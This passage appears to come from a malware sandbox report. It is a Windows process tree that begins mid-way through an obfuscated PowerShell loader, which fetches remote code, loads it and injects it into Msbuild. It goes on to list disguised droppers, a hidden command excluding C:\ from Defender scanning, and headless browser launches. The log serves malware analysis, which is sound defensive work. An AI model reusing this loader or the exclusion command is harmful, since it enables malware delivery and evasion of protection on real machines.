YAbABhAGcAIAA9ACAAJwA8ADwARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAKQAgAHsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAf#AD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjAD0AJwBNAHMAYgB1AGkAbABkACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBnACAAPQAgACcAdAB4AHQALgA1ADIAcgBlAG4AZQB0AHMAbwBzAC8AbgBpAGEAbQAvAHcAYQByAC8ALQAvADIAcgBlAHIAbgBlAHMAdABzAG8AcwAvAG0AbwBtAF8AbwBkAHUAcwAvAG0AbwBjAC4AYgBhAGwAdABpAGcALwAvADoAcwBnAHMAZgBmAHMAZgAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADYAKQANAAoAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHIAdQBuAHMAJwAgACsAIAAnAHMAJwApAC4ASQBuAHYAbwBf#AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnACAALAAnADAAJwAsACAAJwAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAwACcAIAAsACAAJwB4ADgANgAnACkAKQB9AH0A';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, 'f#', 'r')));iex $oWfdfjfdsuxd"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Printer_Driver_SSL_support_v43.22.209.99.exePrinter_Driver_SSL_support_v43.22.209.99.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"4⤵
-
C:\Windows\system32\mode.commode 65,105⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p2025626955107733612548821021 -oextracted5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_7.zip -oextracted5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_6.zip -oextracted5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot_windows.exebot_windows.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\oak1.exeoak1.exe3⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX1\aepk.vbe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /release5⤵
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /release6⤵
- Gathers network information
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c fmdn.das exjptopdmu.icm5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\fmdn.dasfmdn.das exjptopdmu.icm6⤵
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"7⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\thvayyxu.epm"8⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv"8⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\feattgso.bwv /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\feattgso.bwv\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x3d4,0x3d8,0x3dc,0x3a8,0x3e4,0x7ffcca80c188,0x7ffcca80c194,0x7ffcca80c1a09⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=2076,i,12048697492457442973,17874807099800720600,262144 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=2388 /prefetch:29⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2480,i,15356957659375774560,3688443763295230385,524288 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:119⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2744,i,10981117661923834032,9279026562806383404,524288 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=672 /prefetch:139⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3540,i,649609302833828485,8542379037625396639,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,2798528394972460011,12340990156898076567,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3768,i,8272588505475545635,12769086029342326426,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3776 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3800,i,1270894543618937755,16756018366161716365,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:99⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3832,i,17922769065827846138,9164332238390520123,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3836 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3864,i,5955953581284314524,13540173098824494058,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3952 /prefetch:99⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3880,i,13681956665372697023,4751231723518219520,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3900 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3892,i,10271254307467014884,13314282724040149490,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3824 /prefetch:99⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3908,i,6669189128711579225,6044506944633063805,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3968 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3920,i,1517359660511094114,9935626837286698704,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3980 /prefetch:99⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3936,i,6039457647129306571,18189202886348341406,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=3992 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3948,i,5808588553980129819,16624251489324242871,2097152 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=4016 /prefetch:99⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\feattgso.bwv" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4844,i,7175135741563913099,6902150767652001689,524288 --field-trial-handle=2392,i,10540650289580418297,1184227201032123589,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:149⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /renew5⤵
-
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew6⤵
- Gathers network information
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\DiagETLUpdate_Installer.exeDiagETLUpdate_Installer.exe3⤵
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX2\setup.vbs"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\RarSFX2\install.bat"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im pythonw.exe6⤵
- Kills process with taskkill
-
-
C:\Windows\system32\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Temp\RarSFX2\pyembed" "C:\Users\Admin\AppData\Local\DiagETLUpdate\" /s /e /i /y /q6⤵
-
-
C:\Users\Admin\AppData\Local\DiagETLUpdate\python.exe"C:\Users\Admin\AppData\Local\DiagETLUpdate\python.exe" "C:\Users\Admin\AppData\Local\DiagETLUpdate\getpip.py" --no-warn-script-location --quiet6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
-
C:\Users\Admin\AppData\Local\DiagETLUpdate\Scripts\pip.exe"C:\Users\Admin\AppData\Local\DiagETLUpdate\Scripts\pip.exe" install --no-cache-dir --user -r "C:\Users\Admin\AppData\Local\DiagETLUpdate\requirements_client.txt"6⤵
-
C:\Users\Admin\AppData\Local\DiagETLUpdate\python.exe"C:\Users\Admin\AppData\Local\DiagETLUpdate\python.exe" "C:\Users\Admin\AppData\Local\DiagETLUpdate\Scripts\pip.exe" install --no-cache-dir --user -r "C:\Users\Admin\AppData\Local\DiagETLUpdate\requirements_client.txt"7⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\a.exea.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\loader.exeloader.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://64th-service.sellhub.cx/4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2d0,0x2d4,0x2d8,0x2cc,0x340,0x7ffcca80c188,0x7ffcca80c194,0x7ffcca80c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1736,i,9299736556386572141,2704194360930276895,262144 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=2560 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,14323370765515791655,16051973603925182847,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=2808 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2044,i,16025324413345612261,3531643177736125984,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=1632 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3548,i,16762153982953027511,11320110489812779530,2097152 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,14525096163465997013,17410051041340886358,2097152 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4116,i,6664127218564118820,5569860491471988793,2097152 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4276,i,3669978044124537373,8638591538058190685,2097152 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:95⤵
-
-
